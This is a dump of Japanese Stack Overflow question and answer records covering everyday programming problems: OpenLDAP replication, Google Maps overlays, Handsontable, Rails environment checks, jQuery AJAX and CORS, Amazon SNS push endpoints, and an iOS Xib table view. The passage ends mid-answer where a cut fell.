{ "accepted_answer_id": "20362", "answer_count": 1, "body": "下記の環境でレプリケーションの設定を行おうとしております。\n\nインストールパッケージ \nopenldap-servers-2.4.39-8.el6.x86_64.rpm \nopenldap-clients-2.4.39-8.el6.x86_64.rpm\n\nマスターサーバ \nmailsvr-01.local \n192.168.100.41\n\nスレーブサーバ \nmailsvr-02.local \n192.168.100.44\n\nスレーブサーバの設定ファイルは下記を記述しました。\n\nファイル名:syncrepl.ldif\n\n```\n\n dn: olcDatabase={2}bdb,cn=config\n changetype: modify\n add: olcSyncRepl\n olcSyncRepl: rid=001\n provider=ldap://192.168.100.41:389/\n bindmethod=simple\n binddn=\"cn=Manager,dc=mailsvr-01,dc=local\"\n credentials=password\n type=refreshAndPersist\n interval=00:00:05:00\n searchbase=\"dc=mailsvr-01,dc=local\"\n scope=sub\n retry=\"60 10 300 3\"\n \n```\n\n下記で反映\n\n```\n\n #ldapmodify -Y EXTERNAL -H ldapi:// -f syncrepl.ldif\n```\n\n下記で確認\n\n```\n\n #ldapsearch -x -LLL -H ldap:/// -b dc=mailsvr-01,dc=local\n```\n\nこの場合に、マスターサーバの反映されたエントリ情報を参照したいのですが、 \n自分自身(スレーブサーバ)のエントリ情報が表示されてしまいます。\n\n設定のどこに問題の可能性があるかご指摘いただけますでしょうか。\n\n以上、よろしくお願いいたします。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T07:49:06.950", "favorite_count": 0, "id": "20335", "last_activity_date": "2015-12-25T07:55:37.210", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13426", "post_type": "question", "score": 1, "tags": [ "openldap" ], "title": "LDAP2.4でレプリケーションの設定をおこないたい", "view_count": 1370 }
[ { "body": "スレーブとマスターの情報が合っていないということですか? \n確認ですが、更新はマスターのみに行なっているのですよね? \nスレーブが空の状態にしてから同期をとっていますか?\n\nもし、同期がとれていないのでしたら、スレーブの slapd を停止し、/var/lib/ldap/ 以下の DB_CONFIG\n以外のファイルを削除(または別のディレクトリに移動)して空の状態で slapd を起動すると同期すると思います。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T07:55:37.210", "id": "20362", "last_activity_date": "2015-12-25T07:55:37.210", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4603", "parent_id": "20335", "post_type": "answer", "score": 0 } ]
20335
20362
20362
{ "accepted_answer_id": null, "answer_count": 0, "body": "Monacaで作成したアプリで挙動がおかしくなりました。\n\niPad(ios9.1)の頃は滑らかに動いていたアプリが、ios9.2にアップデートしたあたりでons-pull-\nhookを使用しているリストのスクロールがガクガクするようになりました。\n\nOnsen UIのバージョンは1.3.0です。 \n・上下のスワイプでリストをスクロールさせ、スクロール中に再度上下のスワイプを行うと、ほぼスクロール直前の位置に戻り、そこから再度スクロールを行っているように見える。 \n・スクロールが止まった状態で上下スワイプを行うとスクロールされる。 \n・スワイプではないスクロールは通常通りスクロールできる。\n\n慣性でスクロール中に操作を行うと、挙動がおかしくなるようです。\n\nまた、iPhoneでは普通に動いているように感じられます。\n\n同様の現象が起きた方や解決法をご存知の方はいらっしゃいますでしょうか?", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T08:05:02.263", "favorite_count": 0, "id": "20337", "last_activity_date": "2015-12-24T08:05:02.263", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13401", "post_type": "question", "score": 0, "tags": [ "monaca", "onsen-ui" ], "title": "iPad(ios9.2)におけるons-pull-hookの挙動", "view_count": 257 }
[]
20337
null
null
{ "accepted_answer_id": null, "answer_count": 1, "body": "プレイスライブラリを使って範囲内に表示されたマーカーに自分だけのルートを検索できるようにしたいのですが、始点と終点は設定していのですが間の中継地点がうまく実装できません。そこでインフォウィンドを開いているマーカーに設定している名前か緯度経度をとってきてそれを中継地点に設定しようと考えています。\n\nそこで選択されたマーカーの名前か緯度経度を取得方法を教えてください。もしあればよい方法を教えてください。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T09:29:21.303", "favorite_count": 0, "id": "20340", "last_activity_date": "2016-04-22T12:47:21.877", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12644", "post_type": "question", "score": 0, "tags": [ "api", "google-maps" ], "title": "googlemaps apiでルート検索を使って中継地点を設定したいのですが", "view_count": 124 }
[ { "body": "コードが無いので、どのように実装しているのか分かりませんが \n`infowindow.position`で緯度経度オブジェクトが取れるので \n`infowindow.position.lat()` & `infowindow.position.lng()`で取得できないでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T10:13:52.173", "id": "20341", "last_activity_date": "2015-12-24T10:13:52.173", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20340", "post_type": "answer", "score": 1 } ]
20340
null
20341
{ "accepted_answer_id": "27394", "answer_count": 1, "body": "mapkitのピンに吹き出しをつけました \n通常はピン以外の地図の部分をタップすると消えるのですが、コード側から消すのはどのようにすればよいでしょうか? \n[![ピン](https://i.stack.imgur.com/1XKGs.png)](https://i.stack.imgur.com/1XKGs.png)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T14:23:09.623", "favorite_count": 0, "id": "20342", "last_activity_date": "2016-07-06T16:09:14.150", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8044", "post_type": "question", "score": 1, "tags": [ "ios", "swift" ], "title": "マップのピンの吹き出しをコード側から消す", "view_count": 630 }
[ { "body": "```\n\n mapView.deselectAnnotation(annotation, animated: true)\n \n```\n\nで吹き出し(コールアウト)を閉じることができます。\n\n参考)\n\n * [開発弱者: MKMapViewのCallOutの表示・非表示 | Swift](http://imnuybtvrcexw.blogspot.jp/2015/12/mkmapviewcallout-swift.html)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-07-06T16:09:14.150", "id": "27394", "last_activity_date": "2016-07-06T16:09:14.150", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "15190", "parent_id": "20342", "post_type": "answer", "score": 1 } ]
20342
27394
27394
{ "accepted_answer_id": null, "answer_count": 1, "body": "HandsonTableを使ってスプレッドシートの開発を行っております。 \nソースは下記alertの部分はチェック用で実際にはajaxでサーバに送信しようとしています。\n\n```\n\n <!DOCTYPE html>\n <html lang=\"ja\">\n <head>\n <meta charset=\"utf-8\">\n <link rel=\"stylesheet\" href=\"css/handsontable.full.css\">\n <scriptsrc=\"js/jquery.min.js\"></script>\n <script src=\"js/handsontable.full.js\"></script>\n <script>\n $(function() {\n var logs = $('#logs'),\n gridContainer = document.getElementById('grid'),\n selectedRow = 0,\n selectedCol = 0,\n gridTable = new Handsontable(gridContainer, {\n data: getData(),\n minSpareRows: 1,\n rowHeaders: true,\n contextMenu: true,\n afterChange: function(changes, source) {\n if (source == 'edit') {\n for (var i = 0; i < changes.length; i++) {\n var rowChange = changes[i];\n }\n }\n },\n });\n $(document).on('click', '#btn-consoledata', function (e) {\n var statdata = gridTable.getData();\n alert(statdata);\n });\n });\n var getData = function () {\n return [\n ['A','B','C'],\n [\"1\",\"2\",\"3\"],\n [\"4\",\"5\",\"6\"],\n [\"7\",\"8\",\"9\"],\n ];\n };\n </script>\n </head>\n <body>\n <h1>test</h1>\n <div><button id=\"btn-consoledata\">OK</button></div>\n <div id=\"grid\"></div>\n </body>\n </html>\n \n```\n\nこのソースを下記の手順で実行 \n①画面を表示 \n[![画像の説明をここに入力](https://i.stack.imgur.com/bjdpL.png)](https://i.stack.imgur.com/bjdpL.png) \n②データを修正 \n[![画像の説明をここに入力](https://i.stack.imgur.com/MagLD.png)](https://i.stack.imgur.com/MagLD.png) \n③OKを押しアラートが表示 \n[![画像の説明をここに入力](https://i.stack.imgur.com/3NxfD.png)](https://i.stack.imgur.com/3NxfD.png)\n\n上記のように変更データは取得できているのですが、 \nデータ形式がcsvとなっていて列数がわかりません。 \n列数を取得する方法、もしくは配列のままデータを取得する方法など、ご教授願えれば幸いです。 \n何卒よろしくお願いします。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T16:07:56.723", "favorite_count": 0, "id": "20343", "last_activity_date": "2015-12-24T19:10:32.327", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8168", "post_type": "question", "score": 1, "tags": [ "javascript", "jquery", "ajax" ], "title": "Handson Tableを使ったスプレッドシートの開発", "view_count": 2225 }
[ { "body": "`getData()`は二次元配列を返していませんか。`alert(statdata[0]);`とすれば一行目だけ表示されると思います。 \n`alert`が二次元配列をCSVのように表示しているだけのような気がします。\n\n * 行数と列数の取得には`countRows()`と`countCols()`というメソッドがありますので、こちらを使うと便利です。\n * シンプルにデータを取得するなら、上記関数と`getDataAtCell(row, col)`を使用すれば、任意の場所を取得することができます。\n * もしくは`getDataAtCol(col)`と`getDataAtRow(row)`を使用して一列(一行)をまとめて取得することもできます。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T19:10:32.327", "id": "20345", "last_activity_date": "2015-12-24T19:10:32.327", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "6092", "parent_id": "20343", "post_type": "answer", "score": 1 } ]
20343
null
20345
{ "accepted_answer_id": "20347", "answer_count": 2, "body": "Railsには、\n\n * development\n * test\n * production\n\nと環境がありますが、development環境でのみ動かすソースを記述する方法はありますか?\n\n厳密には、[mileszs/wicked_pdf](https://github.com/mileszs/wicked_pdf)の \n`show_as_html: params.key?('debug')` \nオプションをdevelopment環境でのみ付与したいと考えております。\n\nGemfileだと、\n\n```\n\n group :development do\n end\n \n```\n\nや\n\n```\n\n group :development, :test do\n end\n \n```\n\nといった書き方ができるので、コントローラ内にも記述できるかと思って試したところ、\n\n> undefined method `group' for\n\nとなりました。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T23:40:48.340", "favorite_count": 0, "id": "20346", "last_activity_date": "2015-12-25T00:29:56.713", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9008", "post_type": "question", "score": 0, "tags": [ "ruby-on-rails" ], "title": "development環境のみで動くソースを記述する方法は?", "view_count": 304 }
[ { "body": "手元の環境で試した限りでは、コントローラの中であれば\n\n```\n\n if Rails.env == \"development\"\n #hogehoge\n end\n \n```\n\nという書き方ができました。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T23:57:31.637", "id": "20347", "last_activity_date": "2015-12-24T23:57:31.637", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9403", "parent_id": "20346", "post_type": "answer", "score": 1 }, { "body": "@cul8erさんの回答 \n<https://ja.stackoverflow.com/a/20347/9008> \nにより検索ワードが豊富になったので下記のやり方も発見できました。\n\n[testing - How can I determine if my rails is in the development environment\nand not the test environment? - Stack\nOverflow](https://stackoverflow.com/questions/15484004/how-can-i-determine-if-\nmy-rails-is-in-the-development-environment-and-not-the-te) \nや \n[development environment - How to tell if rails is in production? - Stack\nOverflow](https://stackoverflow.com/questions/1967809/how-to-tell-if-rails-is-\nin-production) \nの回答 <https://stackoverflow.com/a/7144161/1979953> \nにある通り環境を示す\n\n`Rails.env.development?`\n\nがありました。\n\nRails3.1から増えたと本家SOにありますが、そのコメントに \n2.3でも動いてるよとあるので、正確にどのバージョンから増えたかは不明。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T00:23:29.440", "id": "20348", "last_activity_date": "2015-12-25T00:29:56.713", "last_edit_date": "2017-05-23T12:38:55.307", "last_editor_user_id": "-1", "owner_user_id": "9008", "parent_id": "20346", "post_type": "answer", "score": 2 } ]
20346
20347
20348
{ "accepted_answer_id": "20360", "answer_count": 1, "body": "以下は入力フォームに入力したあとJSON配列に変換してリクエストを送りデータを返却しようと作成中のコードです。 \nしかしデータは返却されずエラーとなってしまいます。 \ncygwin上ではデータが返却されることは確認できています。\n\ncygwinでのリクエストは「curl -i -v -H \"Accept: application/vnd.glv.v1+json\" -H\n\"Content-type: application/json\" -X GET localhost:8280/api/dept_accesses -d\n'{\"dept_ids\":[\"CD0004\"],\"start_date\":\"20151001\",\"end_date\":\"20151207\"}'」 \nで表示されます。 \nHTMLでデータが返却されればどんな形でも問題ないです。どの部分を編集すればいいか全くわかりません・・・プログラミングに詳しい方何卒宜しく御願い致します。\n\n```\n\n $(function(){ \r\n $(\"#response\").html(\"Response Values\");\r\n \r\n $(\"#button\").click( function(){ \r\n var url = $(\"#url_post\").val();\r\n \r\n var JSONdata = { \r\n dept_ids: $(\"#dept_ids\").val(), \r\n start_date: $(\"#start_date\").val(), \r\n end_date: $(\"#end_date\").val(), \r\n };\r\n \r\n alert(JSON.stringify(JSONdata));\r\n \r\n $.ajax({ \r\n type : 'post', \r\n url : url, \r\n data : JSON.stringify(JSONdata), \r\n contentType: 'application/JSON', \r\n dataType : 'JSON', \r\n scriptCharset: 'utf-8', \r\n success : function(data) {\r\n \r\n // Success \r\n alert(\"success\"); \r\n alert(JSON.stringify(data)); \r\n $(\"#response\").html(JSON.stringify(data)); \r\n }, \r\n error : function(data) {\r\n \r\n // Error \r\n alert(\"error\"); \r\n alert(JSON.stringify(data)); \r\n $(\"#response\").html(JSON.stringify(data)); \r\n } \r\n }); \r\n }) \r\n }) \n```\n\n```\n\n <!DOCTYPE html> \r\n <html> \r\n <head> \r\n <meta charset=\"UTF-8\"> \r\n <title>HTMLファイルからPOSTでJSONデータを送信する</title> \r\n <script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js\"></script>\r\n \r\n </head> \r\n <body> \r\n <h1>HTMLファイルからPOSTでJSONデータを送信する</h1> \r\n <p>URL: <input type=\"text\" id=\"url_post\" name=\"url\" size=\"100\" value=\"http://52.192.178.185:8280/api/blog_accesses?\"></p> \r\n <p>dept_ids: <input type=\"text\" id=\"dept_ids\" size=\"30\" value=\"[BD0002]\"></p> \r\n <p>start_date: <input type=\"text\" id=\"start_date\" size=\"30\" value=\"20151201\"></p> \r\n <p>end_date: <input type=\"text\" id=\"end_date\" size=\"30\" value=\"20151230\"></p> \r\n <p><button id=\"button\" type=\"button\">submit</button></p> \r\n <textarea id=\"response\" cols=120 rows=10 disabled></textarea> \r\n </body> \r\n </html>\n```", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T07:27:16.940", "favorite_count": 0, "id": "20358", "last_activity_date": "2015-12-25T07:37:19.533", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13072", "post_type": "question", "score": 0, "tags": [ "html" ], "title": "HTMLファイルからPOSTまたはGETでJSONデータを送信する方法", "view_count": 7627 }
[ { "body": "HTMLの記述内容とは別に、[HTTP access control\n(CORS)](https://developer.mozilla.org/ja/docs/HTTP_access_control)といってWebサーバー側が他サイトからのリクエストを許可している必要があります。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T07:37:19.533", "id": "20360", "last_activity_date": "2015-12-25T07:37:19.533", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4236", "parent_id": "20358", "post_type": "answer", "score": 1 } ]
20358
20360
20360
{ "accepted_answer_id": "20460", "answer_count": 2, "body": "Amazon SNSを用いてPUSH通知を実装しようと思っているのですが、\nダッシュボードでの\"enable\"がfalseになってしまいPUSHが送れません。\n\n```\n\n public function testPush(){\n $my_id = 4;//Pushを送信するユーザーのID\n $user_id_array = [3,6];//Pushを受け取るユーザーのID\n $my_name = $this->getUser($my_id);//ユーザーの名前を取得する関数\n foreach($user_id_array as $user_id){\n //DBに保存した各ユーザーのデバイストークンを取得する。\n $device_token = $this->getToken($user_id);\n \n $user_name = $this->getUser($user_id);\n if($device_token != null && $user_name != null){\n \n $msg = \"$user_name\".'さん'.\"$my_name\".'さんよりメッセージが届いています。';\n \n $this->PushTo->PushSNS($msg,$device_token);\n }\n }\n }\n \n //PUSH通知を送信\n public function pushSNS($msg,$device_token){ \n $sns = SnsClient::factory(array(\n 'credentials' => array(\n //アクセスのための公開鍵と秘密鍵を指定 \n 'key' => '************',\n 'secret' => '************',\n ),\n 'region' => 'ap-northeast-1', // AP_NORTHEAST_1はtokyo region \n 'version' => '2010-03-31',\n ));\n \n //アプリケーションを指定(Application ARN:Amazon SNS上に表記されている) \n //Product\n $iOS_AppArn = 'arn:aws:sns:ap-northeast-1:****************'; \n $iOS_model = $sns->listEndpointsByPlatformApplication(array(\n 'PlatformApplicationArn' => \"$iOS_AppArn\",\n ));\n \n //通知メッセージ\n $alert = $msg;\n // それぞれのエンドポイントへメッセージを送る\n foreach ($iOS_model['Endpoints'] as $endpoint){\n $endpointArn = $endpoint['EndpointArn'];\n $enable = $endpoint['Attributes']['Enabled'];\n $endpoint_device_token =$endpoint['Attributes']['Token'];\n if($device_token == $endpoint_device_token){\n if($enable == true){\n $content = array(\n 'TargetArn' => $endpointArn,\n 'MessageStructure' => 'json',\n 'Message' => json_encode(array(\n 'APNS' => json_encode(array(\n 'aps' => array(\n 'alert' => $alert,\n 'sound' => 'default',\n 'badge' => 1\n ),\n //カスタム可能\n 'transition_index' => 3,//1:Atab 2:Btab 3:Ctab 4:Dtabへの遷移に適宜カスタムする。\n ))\n ))\n );\n try{\n $sns->publish($content);\n //return true;\n }catch (Exception $e){\n print($e->getMessage());\n } \n }elseif($enable == false){\n echo 'bud';\n }\n }\n }\n return 0;\n }\n \n```\n\nDBにはユーザーIDが3と6のデバイストークンは保存されていて、 \n片方(ID3のユーザー)にPush通知を送ることはできていますが、 \nもう片方に送信できません。 \nダッシュボードで確認すると送信できていない方のトークンの\"enable\"が\"false\"になってしまっていました。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/5t7cf.png)](https://i.stack.imgur.com/5t7cf.png)\n\n一時的に\"enable\"を\"false\"にしても、再度Pushを試すと元に戻ってPushも送れていない状態になってしまいます。\n\nなにかありましたら、随時補足させていただきますので、よろしくお願い致します。\n\n参考サイト\n\n[Amazon SNSでリモート通知(Push通知)をおこなう [AWS SDK for PHP][iOS]](http://noumenon-\nth.net/webstrategy/2015/06/09/amazonsns/)", "comment_count": 1, "content_license": "CC BY-SA 4.0", "creation_date": "2015-12-25T07:33:44.860", "favorite_count": 0, "id": "20359", "last_activity_date": "2021-06-15T11:09:10.613", "last_edit_date": "2021-06-15T11:09:10.613", "last_editor_user_id": "3060", "owner_user_id": "12470", "post_type": "question", "score": 0, "tags": [ "php", "cakephp", "amazon-sns" ], "title": "Amazon SNS を用いたプッシュ通知が送れない", "view_count": 3314 }
[ { "body": "ユーザーID=6のEndPointに関連づけられたデバイストークンが、古いものになっている(既に他の新しいトークンが発行されている)可能性はないでしょうか。\n\nAmazon\nSNSでは、アプリ側で新しいトークンが発行済である、アプリがアンインストールされているなどの理由で無効になったトークンに通知を行い、失敗した場合にEndPointのEnabledがfalseに更新されるとのことです。\n\n参考:\n\n * [Amazon SNS のモバイルトークン管理についてのベストプラクティス](http://dev.classmethod.jp/cloud/aws/sns-mobile-token/#toc-2)\n * [iOS8アップデートでアプリへのプッシュ通知でハマる点](http://qiita.com/ykf/items/4978a9ccf0dd1cc6a19b#2-2)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T17:52:00.920", "id": "20460", "last_activity_date": "2015-12-29T17:52:00.920", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9017", "parent_id": "20359", "post_type": "answer", "score": 0 }, { "body": "有効なはずの端末でも何故かenabledがfalseになってしまうことがあります。 \n強引にenabledにtrueをセットして送ってみてはどうでしょう \nそれでもダメならその端末とアプリのインスタンスはもう無効となっているのではないでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-09-28T01:58:49.720", "id": "29198", "last_activity_date": "2016-09-28T01:58:49.720", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "18944", "parent_id": "20359", "post_type": "answer", "score": 1 } ]
20359
20460
29198
{ "accepted_answer_id": null, "answer_count": 1, "body": "GoogleMapsAPIについての質問です。 \nタイトルの通り円が重なった部分だけ地図を表示するようにしたいです。\n\n詳しく説明すると地図全体は不透明度1で黒く塗りつぶされていて \n現在地点だけ別の色の円で塗りつぶすのですが現在地点だけ半径50m周辺だけ地図を表示するようにしたいです。 \n一応今のJSのコードをおいておきますがあまり参考にならないと思います。\n\n```\n\n function initialize(){\n var myOptions = {\n zoom: 17,\n mapTypeId: google.maps.MapTypeId.HYBRID\n }\n \n var lat=new Array();\n var lon=new Array();\n var polylines = [] ;\n var map = new google.maps.Map(document.getElementById(\"map_canvas\"), myOptions);\n \n // 精度UPあり\n var position_options = {\n enableHighAccuracy: true\n };\n \n // 現在位置情報を取得\n navigator.geolocation.watchPosition(function(position) {\n lat.push(position.coords.latitude);\n lon.push(position.coords.longitude);\n var BaseCircle;\n \n \n var myLatlng = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);\n map.setCenter(myLatlng);\n var circles = [] ;\n var baselatlng = new google.maps.LatLng( lat[0], lon[0] ) ;\n var basecircleOption = {\n center: baselatlng , // 中心の位置座標をLatLngクラスで指定\n radius: 1200000 , // 円の半径(メートル単位)\n map: map , // 設置する地図キャンパス\n fillOpacity: 1 ,\n } ;\n \n baseCircles = new google.maps.Circle( basecircleOption ) ;\n \n for(var i=0;i<lat.length;i++){\n \n var latlng = new google.maps.LatLng( lat[i], lon[i] ) ;\n var circleOption = {\n center: latlng , // 中心の位置座標をLatLngクラスで指定\n radius: 50 , // 円の半径(メートル単位)\n map: map ,\n // 設置する地図キャンパス\n } ;\n \n circles[i] = new google.maps.Circle( circleOption ) ;\n }\n // マーカーの表示\n var marker = new google.maps.Marker({\n position: myLatlng,\n map: map\n });\n }, null, position_options);\n }\n google.maps.event.addDomListener( window , 'load' , initialize ) ;\n \n```\n\nよろしくお願いします", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T07:57:28.707", "favorite_count": 0, "id": "20363", "last_activity_date": "2016-02-11T08:52:38.710", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13330", "post_type": "question", "score": 0, "tags": [ "javascript", "google-maps" ], "title": "Google Maps で複数の円を描画した時円が重なった部分だけ地図を表示したい。", "view_count": 863 }
[ { "body": "Mapのカスタム・オーバーレイに対して、SVGのマスク機能を使って描画させてみました。\n\n```\n\n <!DOCTYPE html>\n <html>\n <head>\n <meta charset=\"utf-8\">\n <title>mask test</title>\n <style>\n html, body {\n height: 100%;\n margin: 0;\n padding: 0;\n }\n #map_canvas {\n height: 100%;\n }\n </style>\n </head>\n <body>\n <div id=\"map_canvas\"></div>\n <script src=\"http://maps.googleapis.com/maps/api/js\"></script>\n <script>\n var svgns = \"http://www.w3.org/2000/svg\";\n function initialize() {\n var myOptions = {\n zoom: 17,\n mapTypeId: google.maps.MapTypeId.HYBRID\n };\n \n var lat=new Array();\n var lon=new Array();\n \n // 精度UPあり\n var position_options = {\n enableHighAccuracy: true\n };\n \n // 現在位置情報を取得\n navigator.geolocation.watchPosition(function(position) {\n lat.push(position.coords.latitude);\n lon.push(position.coords.longitude);\n \n var map = new google.maps.Map(document.getElementById(\"map_canvas\"), myOptions);\n \n var myLatlng = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);\n map.setCenter(myLatlng);\n \n var overlay = new google.maps.OverlayView(); \n \n overlay.onAdd = function () {\n var root = document.createElement(\"div\");\n this.getPanes().overlayLayer.appendChild(root);\n \n var svg = document.createElementNS(svgns, \"svg\");\n var div = map.getDiv();\n var width = div.clientWidth;\n var height = div.clientHeight;\n \n svg.setAttribute(\"width\", width);\n svg.setAttribute(\"height\", height);\n \n var defs = document.createElementNS(svgns, \"defs\");\n svg.appendChild(defs);\n \n var mask = document.createElementNS(svgns, \"mask\");\n mask.setAttribute(\"id\", \"mask\");\n defs.appendChild(mask);\n \n var g = document.createElementNS(svgns, \"g\");\n g.setAttribute(\"fill-rule\", \"evenodd\");\n mask.appendChild(g);\n \n var rect = document.createElementNS(svgns, \"rect\");\n rect.setAttribute(\"mask\", \"url(#mask)\");\n rect.setAttribute(\"x\", 0);\n rect.setAttribute(\"y\", 0);\n rect.setAttribute(\"width\", width);\n rect.setAttribute(\"height\", height);\n svg.appendChild(rect);\n \n root.appendChild(svg);\n \n overlay.draw = function () {\n while (g.firstChild) {\n g.removeChild(g.firstChild);\n }\n \n var maskRect = document.createElementNS(svgns, \"rect\");\n maskRect.setAttribute(\"x\", 0);\n maskRect.setAttribute(\"y\", 0);\n maskRect.setAttribute(\"width\", width);\n maskRect.setAttribute(\"height\", height);\n maskRect.setAttribute(\"fill\", \"white\");\n g.appendChild(maskRect);\n \n var projection = this.getProjection();\n \n for (var i = 0; i < lat.length; i++) {\n var coordinates = new google.maps.LatLng(lat[i], lon[i]);\n var pixel = projection.fromLatLngToDivPixel(coordinates);\n var x = pixel.x;\n var y = pixel.y;\n \n var coordinates2 = new google.maps.LatLng(lat[i] + 0.00045, lon[i]);\n var pixel2 = projection.fromLatLngToDivPixel(coordinates2);\n var r = y - pixel2.y;\n \n var circle = document.createElementNS(svgns, \"circle\");\n circle.setAttribute(\"cx\", x);\n circle.setAttribute(\"cy\", y);\n circle.setAttribute(\"r\", r);\n circle.setAttribute(\"fill\", \"black\");\n g.appendChild(circle);\n }\n }\n \n overlay.onRemove = function () {\n this.div_.parentNode.removeChild(this.div_);\n this.div_ = null;\n }\n }\n \n overlay.setMap(map);\n \n // マーカーの表示\n var marker = new google.maps.Marker({\n position: myLatlng,\n map: map\n });\n }, null, position_options);\n }\n google.maps.event.addDomListener(window, 'load', initialize);\n </script>\n </body>\n </html>\n \n```", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-06T06:21:46.993", "id": "20652", "last_activity_date": "2016-01-06T06:21:46.993", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13314", "parent_id": "20363", "post_type": "answer", "score": 1 } ]
20363
null
20652
{ "accepted_answer_id": "20367", "answer_count": 1, "body": "現在`Xib`で`UIView`を一つ置き、その`UIView`の中に`UITableView`を置いてます。 \nそしてコードは以下のように書きました。\n\n```\n\n @implementation CategoriesViewController\n \n - (void)viewDidLoad {\n [super viewDidLoad];\n \n CategoriesView *categoriesView = [[CategoriesView alloc] initWithFrame:self.view.bounds];\n [self.view addSubview:[categoriesView loadFromNib]];\n }\n \n @end\n \n \n @implementation CategoriesView {\n NSMutableArray *categoriesArray;\n }\n \n - (id)initWithFrame:(CGRect)frame {\n if (self = [super initWithFrame:frame]) {\n categoriesArray = [[NSMutableArray alloc] initWithObjects:@\"食品\", @\"服\", @\"おもちゃ\", @\"家電\", @\"本\", nil];\n }\n \n return self;\n }\n \n - (id)loadFromNib {\n return [[[NSBundle mainBundle] loadNibNamed:NSStringFromClass([self class]) owner:nil options:nil] firstObject];\n }\n \n -(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section {\n return [categoriesArray count];\n }\n \n -(UITableViewCell *)tableView: (UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath {\n UITableViewCell *cell = [self.tableView dequeueReusableCellWithIdentifier:@\"Cell\" forIndexPath:indexPath];\n cell.textLabel.text = categoriesArray[indexPath.row];\n \n return cell;\n }\n \n @end\n \n```\n\n以上を実行すると、中身のないテーブルビューが表示されます。 \n`tableview.delegate`と`tableview.dataSource`は`Storyboard`で設定しており、それぞれ`UIView`を継承した「CategoriesView」に紐付けています。 \n試しにログを取ってみると、initWithFrameを通った時にはcategoriesArrayにきちんと全ての値が入っていたのですが、numberOfRowsInSectionの中を通る時にはcategoriesArrayはnilになっていました。これがいけないのだと思うのですが、なぜcategoriesArrayがnilになってしまうのでしょうか?`Xib`で`UITableView`を扱う時には何か他にしなければならないことがあるのでしょうか? \nどなたか解決できる方がいれば教えていただきたいです。よろしくお願いします。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T08:24:32.587", "favorite_count": 0, "id": "20364", "last_activity_date": "2015-12-25T21:28:09.840", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5210", "post_type": "question", "score": 0, "tags": [ "ios", "objective-c", "xcode", "storyboard", "xib" ], "title": "Xibを使って生成したTableViewのデリゲートメソッドが呼ばれない", "view_count": 688 }
[ { "body": "`CategoriesView`インスタンスを2回生成するプログラムになってますね。\n\n```\n\n CategoriesView *categoriesView = [[CategoriesView alloc] initWithFrame:self.view.bounds];\n \n```\n\nここで、コードから生成。(1回目)\n\n```\n\n [self.view addSubview:[categoriesView loadFromNib]];\n \n```\n\nこの`[categoriesView loadFromNib]`で、XIBから生成して2回目。 \nで、`self.view`が`addSubview:`しているのは、無名の`CategoriesView`インスタンスであって、`categoriesView`でないということになっています。 \nこれが不具合の原因というわけではありませんが、無意味なことをしている点は、指摘しておかなければいけません。\n\nそれで、不具合の原因は、こちらです。 \nInterfaceBuilder、Storyboardから生成したオブジェクトは、`init`で始まるイニシアライザを実行しません。初期化処理はすべてXIBファイル、.storyboardファイルに記述されています。なので、`categoriesArray`を生成する処理は行われず、この配列インスタンスは`nil`になります。 \nXIB、.storyboardに書かれていない初期化処理をするときは、`awakeFromNib`メソッドないし`initWithCoder:`メソッドに実装します。\n\n* * *\n\n改善案を載せておきます。\n\n```\n\n @implementation CategoriesViewController\n \n - (void)viewDidLoad {\n [super viewDidLoad];\n \n CategoriesView *categoriesView = [[[NSBundle mainBundle] loadNibNamed: @\"CategoriesView\" owner:nil options:nil] firstObject];\n categoriesView.frame = self.view.bounds;\n [self.view addSubview:categoriesView];\n }\n \n @end\n \n @implementation CategoriesView {\n NSMutableArray *categoriesArray;\n }\n \n - (void)awakeFromNib {\n [super awakeFromNib]; // この行は不用かもしれません。\n \n categoriesArray 